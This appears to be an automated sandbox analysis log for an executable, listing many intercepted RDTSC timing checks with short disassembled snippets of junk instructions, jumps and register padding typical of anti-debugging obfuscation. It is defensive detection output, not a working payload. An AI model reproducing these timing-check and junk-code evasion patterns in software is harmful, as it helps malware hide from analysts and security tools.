Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6A2882 second address: 6A288B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6A288B second address: 6A288F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6A288F second address: 6A2893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6A2B6D second address: 6A2B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6A2B71 second address: 6A2B95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA660h 0x00000007 jl 00007FD080DDA656h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edi 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007FD080DDA656h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6A2B95 second address: 6A2BC0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD0810EDB06h 0x00000008 jmp 00007FD0810EDB19h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jbe 00007FD0810EDB0Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6A2D3B second address: 6A2D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD080DDA656h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6A2D49 second address: 6A2D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD0810EDB13h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6A2EA7 second address: 6A2EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD080DDA656h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6AB8B1 second address: 6AB8CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FD0810EDB12h 0x0000000b jnc 00007FD0810EDB06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6AB8CF second address: 6AB8D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6ABB9D second address: 6ABBCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB19h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007FD0810EDB11h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6ABD1D second address: 6ABD33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FD080DDA65Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6ABD33 second address: 6ABD37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6ABD37 second address: 6ABD44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6AC1C9 second address: 6AC1CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6AC2EA second address: 6AC2F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD080DDA656h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6AC2F6 second address: 6AC2FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6AC2FB second address: 6AC301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6AC301 second address: 6AC305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6AC5C8 second address: 6AC5CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6AC5CC second address: 6AC5EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD0810EDB19h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6AC5EF second address: 6AC603 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA660h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6AC603 second address: 6AC609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6AC609 second address: 6AC631 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD080DDA658h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FD080DDA666h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6AC631 second address: 6AC639 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6B2E31 second address: 6B2E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6C20C0 second address: 6C20EE instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD0810EDB06h 0x00000008 jmp 00007FD0810EDB14h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD0810EDB0Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6C20EE second address: 6C2105 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA663h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6C1A9E second address: 6C1AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD0810EDB10h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6CA40D second address: 6CA417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD080DDA656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6CA417 second address: 6CA427 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD0810EDB06h 0x00000008 jne 00007FD0810EDB06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6CA427 second address: 6CA44D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD080DDA66Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6D0C92 second address: 6D0CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0810EDB12h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6D0CA8 second address: 6D0CAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6DA803 second address: 6DA80B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6D90E1 second address: 6D90F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD080DDA661h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6D9245 second address: 6D924B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6D924B second address: 6D9250 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6D93C2 second address: 6D93C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6DDE81 second address: 6DDE93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jng 00007FD080DDA65Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6DDB7C second address: 6DDB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FD0810EDB19h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6DDB9A second address: 6DDBA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FD080DDA656h 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6E965B second address: 6E9680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FD0810EDB17h 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6E9680 second address: 6E9684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6E9684 second address: 6E968A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6EF87D second address: 6EF897 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD080DDA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b ja 00007FD080DDA656h 0x00000011 jl 00007FD080DDA656h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6EF897 second address: 6EF8D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB17h 0x00000007 jo 00007FD0810EDB18h 0x0000000d jmp 00007FD0810EDB12h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push edi 0x00000016 push edi 0x00000017 pop edi 0x00000018 jo 00007FD0810EDB06h 0x0000001e pop edi 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 pop esi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6EF8D9 second address: 6EF8DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6EF8DF second address: 6EF8E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6EF8E9 second address: 6EF8F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD080DDA656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6EF8F3 second address: 6EF8F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6EF36B second address: 6EF37A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FD080DDA656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6EF37A second address: 6EF380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6F0F3D second address: 6F0F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD080DDA666h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6F0F59 second address: 6F0F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6F0F62 second address: 6F0F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 712696 second address: 7126A0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 7126A0 second address: 7126A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 712829 second address: 71282F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 712DE1 second address: 712DE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 713212 second address: 713222 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD0810EDB06h 0x00000008 jnp 00007FD0810EDB06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 713222 second address: 71323C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD080DDA66Ch 0x00000008 jmp 00007FD080DDA660h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 713E27 second address: 713E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 7142AE second address: 7142EF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD080DDA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push edi 0x00000010 jmp 00007FD080DDA668h 0x00000015 pop edi 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 jmp 00007FD080DDA661h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 7142EF second address: 7142F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 716A34 second address: 716A69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD080DDA660h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007FD080DDA65Dh 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 jns 00007FD080DDA656h 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 716A69 second address: 716A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD0810EDB19h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 716A89 second address: 716A8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 716A8D second address: 716A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jns 00007FD0810EDB06h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD02FA second address: 4CD0328 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD080DDA661h 0x00000008 pop eax 0x00000009 mov dx, 6114h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 push edx 0x00000013 mov edi, esi 0x00000015 pop ecx 0x00000016 movsx edi, ax 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0328 second address: 4CD032C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD032C second address: 4CD0330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0330 second address: 4CD0336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0336 second address: 4CD0360 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA65Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD080DDA667h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD03B6 second address: 4CD03BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD03BC second address: 4CD03C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD03C0 second address: 4CD03C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64B911 second address: 64B92A instructions: 0x00000000 rdtsc 0x00000002 js 00007FD080DDA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d push edx 0x0000000e js 00007FD080DDA656h 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64B92A second address: 64B92E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6E8342 second address: 6E838F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 js 00007FD080DDA65Ah 0x0000000c push eax 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007FD080DDA65Dh 0x00000019 mov eax, dword ptr [eax] 0x0000001b jbe 00007FD080DDA671h 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6E838F second address: 6E8395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6E8395 second address: 6E839A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6E87D2 second address: 6E87D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6E87D7 second address: 6E87EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007FD080DDA675h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0491 second address: 4CD04CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FD0810EDB13h 0x0000000a and eax, 3BA6AF6Eh 0x00000010 jmp 00007FD0810EDB19h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD04CA second address: 4CD04D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD04D0 second address: 4CD04D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0694 second address: 4CD0756 instructions: 0x00000000 rdtsc 0x00000002 mov dl, ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 sub edx, esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FD080DDA668h 0x00000010 or ch, 00000068h 0x00000013 jmp 00007FD080DDA65Bh 0x00000018 popfd 0x00000019 mov ebx, esi 0x0000001b popad 0x0000001c mov edi, dword ptr [ebp+08h] 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FD080DDA660h 0x00000026 or cl, FFFFFFC8h 0x00000029 jmp 00007FD080DDA65Bh 0x0000002e popfd 0x0000002f call 00007FD080DDA668h 0x00000034 mov dx, ax 0x00000037 pop esi 0x00000038 popad 0x00000039 dec edi 0x0000003a jmp 00007FD080DDA65Dh 0x0000003f lea ebx, dword ptr [edi+01h] 0x00000042 jmp 00007FD080DDA65Eh 0x00000047 mov al, byte ptr [edi+01h] 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007FD080DDA65Eh 0x00000051 sbb eax, 0BD4E1B8h 0x00000057 jmp 00007FD080DDA65Bh 0x0000005c popfd 0x0000005d popad 0x0000005e inc edi 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0756 second address: 4CD0764 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0764 second address: 4CD0797 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA65Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007FD080DDA666h 0x00000010 jne 00007FD0F18E294Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0797 second address: 4CD079B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
